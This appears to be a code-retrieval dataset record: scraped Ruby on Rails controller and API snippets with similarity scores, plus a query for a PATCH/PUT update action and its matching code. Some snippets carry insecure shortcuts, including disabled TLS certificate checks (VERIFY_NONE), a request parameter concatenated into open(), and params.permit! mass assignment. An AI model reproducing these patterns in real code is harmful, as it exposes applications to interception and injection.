:ok\n end", "def postLocation( location_id, type, country, language, name, formal_name, resolution, population, description, timezone, latitude, longitude, parent_town, parent_county, parent_province, parent_region, parent_neighbourhood, parent_district, postalcode, searchable_id, searchable_ids)\n params = Hash.new\n params['location_id'] = location_id\n params['type'] = type\n params['country'] = country\n params['language'] = language\n params['name'] = name\n params['formal_name'] = formal_name\n params['resolution'] = resolution\n params['population'] = population\n params['description'] = description\n params['timezone'] = timezone\n params['latitude'] = latitude\n params['longitude'] = longitude\n params['parent_town'] = parent_town\n params['parent_county'] = parent_county\n params['parent_province'] = parent_province\n params['parent_region'] = parent_region\n params['parent_neighbourhood'] = parent_neighbourhood\n params['parent_district'] = parent_district\n params['postalcode'] = postalcode\n params['searchable_id'] = searchable_id\n params['searchable_ids'] = searchable_ids\n return doCurl(\"post\",\"/location\",params)\n end", "def create\n @yeast = Yeast.new(yeast_params)\n\n respond_to do |format|\n if @yeast.save\n format.html { redirect_to @yeast, notice: 'Yeast was successfully created.' }\n format.json { render :show, status: :created, location: @yeast }\n else\n format.html { render :new }\n format.json { render json: @yeast.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @surrounding = Surrounding.new(surrounding_params)\n\n p @surrounding\n respond_to do |format|\n if @surrounding.save\n format.html { redirect_to [:admin, @surrounding], notice: 'Surrounding was successfully created.' }\n format.json { render :show, status: :created, location: @surrounding }\n else\n format.html { render :new }\n format.json { render json: @surrounding.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:traceroute].each do |tr|\n Traceroute.create(:server => tr[:server], :local_ip => tr[:local_ip], :stdout => tr[:stdout], :stderr => tr[:stderr], :exit_status => tr[:exit_status], :timestamp => tr[:timestamp])\n end\n\n\n\n #puts \"hello #{params}\"\n #@hello = params\n #@hello.map { |k,v| puts \"#{k} is #{v}\" }\n #traceroute_params.each do |v|\n # traceroute = Traceroute.create(v)\n #end\n\n respond_to do |format|\n format.all { render :nothing => true, :status => 200 }\n end\n #@traceroute = Traceroute.new(params)\n\n #respond_to do |format|\n # if @traceroute.save\n # format.html { redirect_to @traceroute, notice: 'Traceroute was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @traceroute }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @traceroute.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end", "def create body = {}\n @connection.request(method: :post, path: \"/volumes/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end", "def create\n @offpost = Offpost.new(params[:offpost])\n\n respond_to do |format|\n if @offpost.save\n flash[:notice] = 'Offpost was successfully created.'\n format.html { redirect_to :back }\n format.xml { render :xml => @offpost, :status => :created, :location => @offpost }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @offpost.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_post_invalid\n header 'Content-Type', 'application/json'\n\n json = JSON.generate [{ latitude: 'wrong', longitude: 'wrong' }]\n post('/traces', json, 'CONTENT_TYPE': 'application/json')\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def POST; end", "def create\n @out = Out.new(out_params)\n\n respond_to do |format|\n if @out.save\n format.json { render :json => @out, status: :created, :layout => false }\n else\n format.json { render json: @out.errors, status: :unprocessable_entity }\n end\n end\n end", "def door_event_params\n params.require(:door_event).permit(:event_type, :sensor_name)\n end", "def index\n @run ||= Rails.application.load_seed\n\n # raw_url = \"https://developer.nps.gov/api/v1/parks?parkCode=#{PARKS.join(\",\")}&api_key=#{API_KEY}&limit=#{PARKS.size}\"\n # uri = URI.parse(raw_url)\n # response = Net::HTTP.get_response(uri)\n #\n # if response.code == \"200\"\n # puts \"SUCCESS RESPONSE\"\n # result = JSON.parse(response.body)\n #\n # result[\"data\"].each do |doc|\n # park = Park.new\n # park.name = doc[\"fullName\"]\n # park.park_code = doc[\"parkCode\"]\n # park.description = doc[\"description\"]\n # park.url = doc[\"url\"]\n # park.latitude = doc[\"latitude\"].to_f\n # park.longitude = doc[\"longitude\"].to_f\n # park.state = doc[\"states\"]\n # park.email = doc[\"contacts\"][\"emailAddresses\"]&[0]&[\"emailAddress\"]\n # park.phone = doc[\"contacts\"][\"phoneNumbers\"].find { |number| number[\"type\"] == \"Voice\" }\n # park.fax = doc[\"contacts\"][\"phoneNumbers\"].find { |number| number[\"type\"] == \"Voice\" }\n # park.directions = doc[\"directionsInfo\"]\n # park.directions_url = doc[\"directionsUrl\"]\n # park.weather = doc[\"weatherInfo\"]\n #\n # park.save!\n #\n # doc[\"entranceFees\"].each do |fee|\n # new_fee = Fee.new\n #\n # new_fee.title = fee[\"title\"]\n # new_fee.description = fee[\"description\"]\n # new_fee.cost = fee[\"cost\"]\n #\n # new_fee.park_id = park.id\n #\n # new_fee.save!\n # end\n #\n # doc[\"addresses\"].each do |address|\n # new_address = Address.new\n #\n # new_address.type = address[\"type\"]\n # new_address.line_1 = address[\"line1\"]\n # new_address.line_2 = address[\"line2\"]\n # new_address.city = address[\"city\"]\n # new_address.state = address[\"state\"]\n # new_address.postal_code = address[\"postalCode\"]\n #\n # new_address.park_id = park.id\n #\n # new_address.save!\n # end\n #\n # doc[\"images\"].each do |image|\n # new_image = Image.new\n #\n # new_image.title = image[\"title\"]\n # new_image.caption = image[\"caption\"]\n # new_image.alt_text = image[\"altText\"]\n # new_image.credit = image[\"credit\"]\n # new_image.url = image[\"url\"]\n #\n # new_image.park_id = park.id\n #\n # new_image.save!\n # end\n # end\n # else\n # puts 'BAD RESPONSE'\n # pp response\n # end\n\n @parks = Park.all\n\n end", "def create\n @estate = Estate.new(params[:estate])\n\n respond_to do |format|\n if @estate.save\n format.html { redirect_to @estate, notice: 'Estate was successfully created.' }\n format.json { render json: @estate, status: :created, location: @estate }\n else\n format.html { render action: \"new\" }\n format.json { render json: @estate.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @outside_request = OutsideRequest.find(params[:id])\n\n respond_to do |format|\n if @outside_request.update_attributes(params[:outside_request])\n format.html { redirect_to @outside_request, notice: 'Outside request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \\\"edit\\\" }\n format.json { render json: @outside_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n party_results = Event.party(params[:event], params[:location],\n params[:time], params[:category])\n @results = JSON.parse(party_results)\n\n # twitter_results = Event.twitter_search(params[:event])\n # @twitter_results = Event.twitter_search(response)\n # Event.create\n end", "def create\n @onsen = Onsen.new(onsen_params)\n\n respond_to do |format|\n if @onsen.save\n format.html { redirect_to @onsen, notice: 'Onsen was successfully created.' }\n format.json { render :show, status: :created, location: @onsen }\n else\n format.html { render :new }\n format.json { render json: @onsen.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n has = params[\"area\"].to_json\n data_has = JSON.parse(has)\n @zone = Zone.new();\n @zone.nombre_zona = params[\"nombre_zona\"]\n @zone.color = params[\"color\"]\n\n respond_to do |format|\n if @zone.save\n \n data_has.each do |geo|\n @coordenada = CoordinateZone.new()\n geo.each do |data|\n @coordenada.zone_id = @zone.id\n @coordenada.latitud = data[\"lat\"].to_f\n @coordenada.longitud = data[\"lng\"].to_f \n end\n @coordenada.save\n end\n\n format.html { redirect_to @zone, notice: 'Zone was successfully created.' }\n format.js \n # format.js { render js: \"window.location.href=#{ directories_path }\" }\n format.json { render :show, status: :created, location: @zone }\n \n else\n format.html { render :new }\n format.json { render json: @zone.errors, status: :unprocessable_entity }\n end\n\n end\n end", "def poke_event_params\n params.require(:poke_event).permit(:user_id, :land_mark_id, :title, :description)\n end", "def create\n @door_event = DoorEvent.new(door_event_params)\n\n respond_to do |format|\n if @door_event.save\n format.html { redirect_to @door_event, notice: 'Door event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @door_event }\n else\n format.html { render action: 'new' }\n format.json { render json: @door_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name].compact.join('/')\n url += \"/\"\n return HTTParty.post(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "def surrounding_params\n params.require(:surrounding).permit(:name, :latitude, :longitude, :photo)\n end", "def post(endpoint, body, headers = {})\n headers = { accept: :json, content_type: :json }.merge(headers)\n @rest_resource[endpoint].post body, headers\n end", "def set_district_area\n \n\t r = open(\"http://localhost:3001/district_areas/\" + params[:id] + \".json\").read\n\t #r = open(\"http://floating-chamber-80486.herokuapp.com/district_areas/1.json\").read\n\t hash = JSON.parse(r)\n\t upzsJSON = hash[\"upzs\"]\n\t hash.delete(\"url\")\n\t hash.delete(\"upzs\")\n\t p hash\n\t p upzsJSON\n\t @district_area = DistrictArea.new(hash)\n\t p @district_area.inspect\n\t \n\t upzsJSON.each do |currentUPZ|\n\t\t@district_area.upzs << Upz.new(currentUPZ)\n\t\tend\n\trescue \n\t\t p \"EL RECURSOO NO EXISTEEEEEE\"\n\t\trender json: {}, status: :ok\n\tend", "def post_evaluate(excon, body)\n excon.request(\n method: :post,\n path: '/evaluate',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend", "def create\n\n user_from_api_key = User.find_by(api_key: request.headers[:apiKey])\n return render json: {rides: [], message: \"Access denied\"}, status: :unauthorized if user_from_api_key.nil?\n\n departure_place = params[:departure_place]\n departure_threshold = params[:departure_place_threshold].to_i\n destination = params[:destination]\n destination_threshold = params[:destination_threshold].to_i\n if params.has_key?(:departure_time)\n departure_time = Time.zone.parse(params[:departure_time])\n end\n user = User.find_by(api_key: request.headers[:apiKey])\n ride_type = params[:ride_type].to_i\n\n if user.nil?\n return render json: {:message => \"User not found\"}, status: :not_found\n else\n # add this search to table ride_searches which is displayed as a timeline\n user.ride_searches.create!(departure_place: departure_place, destination: destination,\n departure_time: departure_time, ride_type: ride_type)\n end\n\n rides = Ride.rides_nearby departure_place, departure_threshold, destination,\n destination_threshold, departure_time, ride_type\n\n\n if rides.count > 0\n render json: {:rides => rides, each_serializer: RideSerializer}, status: :ok\n else\n render json: {:rides => []}, status: :no_content\n end\n\n end", "def event_params\n params.require(:event).permit(:time, :location, :title, :description, :creator_id, invites: [])\n end", "def test_post_then_get\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n id = last_response.body\n\n get \"/traces/#{id}\"\n check_valid_trace last_response.body\n end", "def create\n @leave_event = LeaveEvent.new(leave_event_params.permit!)\n respond_to do |format|\n if @leave_event.save\n format.html { redirect_to leave_events_path, notice: 'Leave event was successfully created.' }\n format.json { render :show, status: :created, location: @leave_event }\n else\n format.html { render :new }\n format.json { render json: @leave_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_all_the_dogs_are_in_one_pack\n @params = {\n packs: [\n {\n dogs: ['Spot', 'Fido', 'Rover'],\n location: 'San Francisco',\n },\n {\n dogs: ['Doggie', 'Lassie'],\n location: 'Canada',\n },\n ],\n }\n\n\n post \"/dogs\", params = @params\n assert_equal 'Spot, Fido, Rover, Doggie, and Lassie are all in one pack. Oh no!', last_response.body\n end", "def yeast_params\n params.require(:yeast).permit(:name, :type, :temp_range, :fermentation_type, :description)\n end", "def create\n @etymon = Etymon.new(etymon_params)\n\n respond_to do |format|\n if @etymon.save\n format.html { redirect_to @etymon, notice: 'Etymon was successfully created.' }\n format.json { render :show, status: :created, location: @etymon }\n else\n format.html { render :new }\n format.json { render json: @etymon.errors, status: :unprocessable_entity }\n end\n end\n end", "def eod_params\n params.require(:eod).permit!\n end", "def estate_params\n params.require(:estate).permit(:name, :address, :city_id, :owner_id, :estate_type, :description, images: [], rooms_attributes: %i[id estate_id description capacity price status room_type])\n end", "def event_params\n params.require(:event).permit(:name, :time, :deadline, :place_ids)\n end", "def create\n runway = qx_take_off_params[:runway].split(\"/\")\n runway.each do |item|\n qx_take_off_params[:runway_id] = Qx::Runway.get_runay_id(qx_take_off_params[:airport_id], item)\n @qx_take_off = Qx::TakeOff.new(qx_take_off_params)\n end\n\n\n p runway\n\n respond_to do |format|\n if @qx_take_off.save\n format.html { redirect_to @qx_take_off, notice: 'Take off was successfully created.' }\n format.json { render :show, status: :created, location: @qx_take_off }\n else\n format.html { render :new }\n format.json { render json: @qx_take_off.errors, status: :unprocessable_entity }\n end\n end\n end", "def event_params\r\n params.require(:event).permit(:title, :startDate, :endDate, :street, :neighborhood, :city, :referencePoint, :description, :eventTypeId, :ownerId, :status)\r\n end", "def create\n @erogenous_zone = ErogenousZone.new(params[:erogenous_zone])\n\n respond_to do |format|\n if @erogenous_zone.save\n format.html { redirect_to @erogenous_zone, :notice => 'Erogenous zone was successfully created.' }\n format.json { render :json => @erogenous_zone, :status => :created, :location => @erogenous_zone }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @erogenous_zone.errors, :status => :unprocessable_entity }\n end\n end\n end", "def outlet_params\r\n params.require(:outlet).permit(:estate, :room_id)\r\n end", "def create\n @ocean = Ocean.new(ocean_params)\n\n respond_to do |format|\n if @ocean.save\n format.html { redirect_to @ocean, notice: 'Ocean was successfully created.' }\n format.json { render :show, status: :created, location: @ocean }\n else\n format.html { render :new }\n format.json { render json: @ocean.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @etsy = Etsy.new(params[:etsy])\n\n respond_to do |format|\n if @etsy.save\n format.html { redirect_to @etsy, notice: 'Etsy was successfully created.' }\n format.json { render json: @etsy, status: :created, location: @etsy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @etsy.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @onske = Onske.new(params[:onske])\n\n respond_to do |format|\n if @onske.save\n format.html { redirect_to @onske, notice: 'Onske was successfully created.' }\n format.json { render json: @onske, status: :created, location: @onske }\n else\n format.html { render action: \"new\" }\n format.json { render json: @onske.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @closing_day = ClosingDay.new(params[:closing_day])\n\n respond_to do |format|\n if @closing_day.save\n format.html { redirect_to @closing_day, notice: 'Closing day was successfully created.' }\n format.json { render json: @closing_day, status: :created, location: @closing_day }\n else\n format.html { render action: \"new\" }\n format.json { render json: @closing_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @admin_neighbourhood = Admin::Neighbourhood.new(admin_neighbourhood_params)\n\n respond_to do |format|\n if @admin_neighbourhood.save\n format.html { redirect_to @admin_neighbourhood, notice: 'Neighbourhood was successfully created.' }\n format.json { render :show, status: :created, location: @admin_neighbourhood }\n else\n format.html { render :new }\n format.json { render json: @admin_neighbourhood.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ovode = Ovode.new(params[:ovode])\n\n respond_to do |format|\n if @ovode.save\n format.html { redirect_to @ovode, notice: 'ovode was successfully created.' }\n format.json { render json: @ovode, status: :created, location: @ovode }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ovode.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n if(!params[\"venue\"].blank?)\n Venue.save_multiple_venues(@curr_user,params[\"venue\"])\n @status=true\n else\n @status=false\n end\n respond_to do |format|\n if @status\n format.html { redirect_to :action=>:index }\n format.json { render :json => @venues, :status => :created, :location => @venues }\n else\n flash[:error] = 'Please select atleast one checkbox to create venue'\n format.html { redirect_to :action => \"search\"}\n end \n end\n end", "def post(request)\n # sure thing!\n json_response(200, { message: \"This dummy POST endpoint didn't do anything.\" })\n end", "def index\n @eobs = Eob.assigned\n @title = \"Posted EOBs\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eobs }\n end\n end", "def rsvp_post(options = {})\n\n #add access token if it exists\n url = \"\"\n if options[:access_token]\n #url = \"https://api.meetup.com/2/rsvp?access_token=#{options[:access_token]}\"\n url = \"https://api.meetup.com/2/rsvp.json\"\n\n else\n url = \"https://api.meetup.com/2/rsvp\"\n end\n\n puts \"url posting is #{url}\"\n\n response = post_response(url,options)\n\n if response == \"OK\"\n puts \"rsvp ok\"\n else\n puts response.to_yaml\n end\n end", "def submit_events_api_call(date, begin_time, end_time, location, itinerary)\n preferences_request = current_user.supplemental_preferences\n designated_preference = preferences_request.sample\n category_request = designated_preference.events_categories.sample\n start_date_time = user_input_to_unix(date, begin_time)\n end_date_time = user_input_to_unix(date, end_time)\n y = YelpResponse.new\n response = y.get_events_response({location: location, categories: category_request, start_date: start_date_time, end_date: end_date_time})\n handle_events_response(response, y, itinerary)\n y.destroy\n end", "def create\n @poke_event = current_user.poke_events.build(poke_event_params)\n\n respond_to do |format|\n if @poke_event.save\n format.html { redirect_to @poke_event, notice: 'Poke event was successfully created.' }\n format.json { render :show, status: :created, location: @poke_event }\n else\n format.html { render :new }\n format.json { render json: @poke_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_checkouts(checkouts)\n _post(\"checkouts\", \"checkouts\" => checkouts)\n end" ]
[ "0.66772705", "0.59353036", "0.58822435", "0.58407235", "0.58234125", "0.57617736", "0.5621812", "0.56048375", "0.5383108", "0.5230245", "0.522127", "0.5192642", "0.51777333", "0.5142969", "0.51319873", "0.51284647", "0.506584", "0.50647056", "0.5045443", "0.50443745", "0.5026891", "0.5026641", "0.5023675", "0.50077367", "0.49515802", "0.4921325", "0.4913038", "0.48913053", "0.48858595", "0.4880148", "0.48790276", "0.48716444", "0.48687276", "0.48542923", "0.4843143", "0.4839008", "0.48379043", "0.48364848", "0.48201433", "0.47946697", "0.47942936", "0.47892296", "0.47892153", "0.47891143", "0.47861594", "0.47831243", "0.47753397", "0.47702262", "0.4741477", "0.47287506", "0.47220972", "0.47102767", "0.47091195", "0.47022262", "0.46991313", "0.46970505", "0.4696902", "0.4686146", "0.46804452", "0.46769553", "0.4667079", "0.46655825", "0.46652684", "0.466497", "0.4664837", "0.46546856", "0.464123", "0.4638486", "0.46381605", "0.46356723", "0.46239093", "0.4622169", "0.46215552", "0.46179518", "0.46171188", "0.46106172", "0.46082696", "0.4605968", "0.4604928", "0.45988026", "0.45987156", "0.45982617", "0.45902875", "0.4590199", "0.45881525", "0.45877627", "0.45865032", "0.45856678", "0.45826697", "0.45816138", "0.4579447", "0.45785812", "0.4573683", "0.45603117", "0.455991", "0.45597947", "0.45464063", "0.45458353", "0.45452175", "0.4538817" ]
0.73897415
0
PATCH/PUT /outsides/1 PATCH/PUT /outsides/1.json
def update respond_to do |format| if @outside.update(outside_params) format.html { redirect_to @outside, notice: 'Outside was successfully updated.' } format.json { render :show, status: :ok, location: @outside } else format.html { render :edit } format.json { render json: @outside.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @outside_request = OutsideRequest.find(params[:id])\n\n respond_to do |format|\n if @outside_request.update_attributes(params[:outside_request])\n format.html { redirect_to @outside_request, notice: 'Outside request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \\\"edit\\\" }\n format.json { render json: @outside_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @inside.update(inside_params)\n format.html { redirect_to @inside, notice: 'Inside was successfully updated.' }\n format.json { render :show, status: :ok, location: @inside }\n else\n format.html { render :edit }\n format.json { render json: @inside.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def patch!\n request! :patch\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def put!\n request! :put\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update\n respond_to do |format|\n if @set_aside.update(set_aside_params)\n format.html { redirect_to @set_aside, notice: 'Set aside was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @set_aside.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(&block)\n validate_request()\n\n # Params includes all of the PATCH data at the top level along with other\n # other Rails-injected params like 'id', 'action', 'controller'. These\n # are harmless given no namespace collision and we're only interested in\n # the 'Operations' key for the actual patch data.\n #\n render(json: yield(self.safe_params()[:id], self.safe_params().to_hash()))\n end", "def update\n @thing = Thing.find(params[:id])\n params[:thing][:place_id] = place_id_from_form\n params[:thing][:owner_ids] = [ ] if params[:thing][:owner_ids].nil?\n params[:thing][:keeper_ids] = [ ] if params[:thing][:keeper_ids].nil?\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to(@thing, :notice => 'Thing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @thing.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @especy = Especie.find(params[:id])\n\n respond_to do |format|\n if @especy.update_attributes(params[:especy])\n format.html { redirect_to @especy, notice: 'Especie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @especy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n return forbidden unless user_is_owner\n return bad_request unless @event.update_attributes(event_params)\n render json: @event, status: :ok\n end", "def update\n respond_to do |format|\n if @sidequest.update(sidequest_params)\n format.html { redirect_to @sidequest, notice: 'Sidequest was successfully updated.' }\n format.json { render :show, status: :ok, location: @sidequest }\n else\n format.html { render :edit }\n format.json { render json: @sidequest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def pupdate\n @event = Event.find(params[:id])\n respond_to do |format|\n if @event.update_attributes(JSON.parse(params[:event]))\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def update\n @outdoor = Outdoor.find(params[:id])\n\n respond_to do |format|\n if @outdoor.update_attributes(params[:outdoor])\n format.html { redirect_to @outdoor, notice: 'Outdoor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @outdoor.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @office.update(office_params)\n head :no_content\n end", "def update\n respond_to do |format|\n if @inventory_own.update(inventory_own_params)\n format.html { redirect_to @inventory_own }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @inventory_own.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @spice.update(spice_params)\n head :no_content\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @big_emergency.update(big_emergency_params)\n format.html { redirect_to @big_emergency, notice: 'Big emergency was successfully updated.' }\n format.json { render :show, status: :ok, location: @big_emergency }\n else\n format.html { render :edit }\n format.json { render json: @big_emergency.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_with []\n end", "def put(*args)\n request :put, *args\n end", "def update\n respond_to do |format|\n if @off_day.update(off_day_params)\n format.html { redirect_to @off_day, notice: 'Off day was successfully updated.' }\n format.json { render :show, status: :ok, location: @off_day }\n else\n format.html { render :edit }\n format.json { render json: @off_day.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @dayoff = Dayoff.find(params[:id])\n\n respond_to do |format|\n if @dayoff.update_attributes(params[:dayoff])\n format.html { redirect_to @dayoff, notice: 'Dayoff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dayoff.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, body_params = {})\n debug_log \"PATCH #{@host}#{path} body:#{body_params}\"\n headers = { 'Content-Type' => 'application/json' }\n res = connection.run_request :put, path, body_params.to_json, headers\n debug_log \"Response status:#{res.status}, body:#{res.body}\"\n res\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n put :update\n end", "def update(*args)\n put(*args)\n end", "def update(*args)\n put(*args)\n end", "def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end", "def update\n respond_to do |format|\n if @cephalopod.update(cephalopod_params)\n format.html { redirect_to @cephalopod, notice: 'Cephalopod was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cephalopod.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @overlay = Overlay.find(params[:id])\n\n respond_to do |format|\n if @overlay.update_attributes(params[:overlay])\n format.html { redirect_to @overlay, notice: 'Overlay was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @overlay.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @stoff.update(stoff_params)\n format.html { redirect_to @stoff }\n format.json { render :show, status: :ok, location: @stoff }\n else\n format.html { render :edit }\n format.json { render json: @stoff.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n if @specie.update_attributes(params[:specie])\n format.html { redirect_to @specie, notice: 'Specie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @specie.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @weird_enterprise_stuff.update(weird_enterprise_stuff_params)\n format.html { redirect_to @weird_enterprise_stuff, notice: 'Weird enterprise stuff was successfully updated.' }\n format.json { render :show, status: :ok, location: @weird_enterprise_stuff }\n else\n format.html { render :edit }\n format.json { render json: @weird_enterprise_stuff.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @etsy = Etsy.find(params[:id])\n\n respond_to do |format|\n if @etsy.update_attributes(params[:etsy])\n format.html { redirect_to @etsy, notice: 'Etsy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @etsy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @instrument_patch.update(instrument_patch_params)\n format.html { redirect_to @instrument_patch, notice: 'Instrument patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @instrument_patch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @table = Table.find(params[:id])\n\n respond_to do |format|\n if @table.update_attributes(params[:table].permit(:name, :notes, :x, :y, :table_type, :guest_ids => []))\n format.html { redirect_to @table, notice: 'Table was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @table.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n end", "def update\n respond_to do |format|\n if @patch.update(patch_params)\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @empolyee.update(empolyee_params)\n format.html { redirect_to @empolyee, notice: 'Empolyee was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @empolyee.errors, status: :unprocessable_entity }\n end\n end\n end", "def partial_update_object(object, objectID = nil, create_if_not_exits = true, request_options = {})\n client.post(Protocol.partial_object_uri(name, get_objectID(object, objectID), create_if_not_exits), object.to_json, :write, request_options)\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update\n @todo = 